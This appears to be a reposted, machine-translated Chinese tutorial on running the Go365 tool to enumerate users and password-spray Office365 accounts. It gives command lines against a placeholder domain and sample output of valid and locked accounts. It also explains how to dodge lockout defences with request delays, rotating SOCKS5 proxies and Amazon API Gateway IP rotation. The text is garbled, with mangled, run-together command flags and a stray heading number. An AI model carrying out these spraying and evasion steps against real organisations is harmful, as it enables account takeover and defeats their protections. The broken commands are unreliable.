怎么使用Go365对Office365用户进行渗透

本文介绍了“如何用Go365渗透Office365用户”的知识。很多人在实际办案过程中都会遇到这样的困难。让边肖带领你学习如何处理这些情况。希望大家认真阅读，学点东西！

写在前面的话

Go365是一个工具，旨在帮助研究人员对使用过Office365的组织和用户进行用户枚举和密码爆炸攻击(微软365将于现在/不久推出)。Go365使用login.microsoftonline.com上唯一的SOAP API节点，而login.microsoftonline.com是大多数其他工具不会选择使用的东西。当需要电子邮件地址和密码时，终端节点会响应一个Azure AD认证授权码，由Go365处理，处理结果会打印在屏幕上或输出到文件中。

用户枚举和密码爆炸攻击是同时执行的，但是Go365没有提供特定的参数或函数来允许研究人员只执行用户枚举攻击。每次Go365执行密码爆炸攻击时，都会分析用户身份是否有效。

00-1010此工具可能不适用于使用Office365的所有域。测试表明，它适用于大多数联合域。即使提供了有效密码，一些域也只报告有效用户，但不同场景下的实验结果可能有所不同。

对该工具不同域的测试表明，在多次密码爆破失败后，该工具不会锁定目标账户，但不同场景下的实验结果可能有所不同。

此工具供授权“渗透”目标组织的Office365实例的安全专业人员使用。

注意事项

工具使用

./Go365-ul。/user _ list . txt-p ' coolpasswordpro！123'-dpwnthisfakedomain.com。/Go365-ul。/user _ list . txt-p ' coolpasswordpro！123'-dpwnthisfakedomain.com-w5。/Go365-up。/user pass _ list . txt-dpwnthisfakedomain.com-w5-ogo 365 output . txt。/go 365-ulegithuser @ pwnthisfakedomain.com-p ' coolpasswordpro！123 '-w5-ogo 365 output . txt-proxy 127 . 0 . 0 . 13990 . 139999999616。/Go365-ulegituser-pl。/pass _ list . txt-delay 1800-dpwnthissfakedomain.com-w5-ogo 365 output . txt-proxy file。/proxyfile.txt。/Go365-ul。/user _ list . txt-p ' coolpasswordpro！13 '-dpwnthisfakedomain.com-w5-ogo 365 output . txt-URL https://k 62g 98 dne 3 . execute-API . us-east-2 . amazo naws.com/login

工具使用样例

温馨提醒：您可能并未真正锁定目标帐户。

在对目标域进行多次查询后，该工具可能会开始报告目标帐户已被锁定。

一旦触发域防御策略，用户枚举的结果就不那么可靠了，因为对有效和无效用户的请求会随机报告其帐户已被锁定。

.

[-]Usernotfound:test.user90@pwnthisfakedomain.com

[-]Usernotfound:test.user91@pwnthisfakedomain.com

[-]Validuser，butinvalidpassword : test . user 92 @ pwnthsfakedomain.com

[!]

 Account Locked Out: real.user1@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com
[!] Account Locked Out: valid.user94@pwnthisfakedomain.com
[!] Account Locked Out: jane.smith@pwnthisfakedomain.com
[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com
[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com
[!] Account Locked Out: valid.smith@pwnthisfakedomain.com
...

这是一种防御机制，如果在一定时间内针对目标域的有效用户查询次数到达阈值，便会触发这种防御机制。由于目标组织可以自定义设置这个阈值，因此尝试的次数和时间段将因目标域而异。

应对策略

等待延时

这种防御机制是基于时间和IP地址实现的，而Go365提供了在请求之间包括等待时间的选项和用于分发请求源的代理选项。要规避目标域上的防御机制，请使用较长的等待时间和多个代理服务器。

建议至少等待15秒：

-w 15

Socks5代理

如果大家仍然接收到“账户锁定”的响应信息，就需要设置代理来发送请求了。代理选项目前仅在SSh SOCKS5动态代理（ssh -D <port> user@proxyserver）上进行过测试。

大家可以在DO、AWS或Vultr等平台上创建SOCKS5代理，然后创建一个包含下列格式数据的文件：

127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...

该工具将随机迭代提供的代理服务器，并在请求之间等待指定的时间延迟。

-w 15 -proxyfile ./proxies.txt

亚马逊API网关

除此之外，我们还可以指定节点URL，以便此工具可以与亚马逊API网关进行交互对接。此时，我们需要设置网关以指向https://login.microsoftonline.com/rst2.srf节点，然后将-url参数设置为指向调用的URL地址。这里需要注意的是，我们的IP地址应该在每次发送请求之后进行地址轮换：

-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

“怎么使用Go365对Office365用户进行渗透”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站，小编将为大家输出更多高质量的实用文章！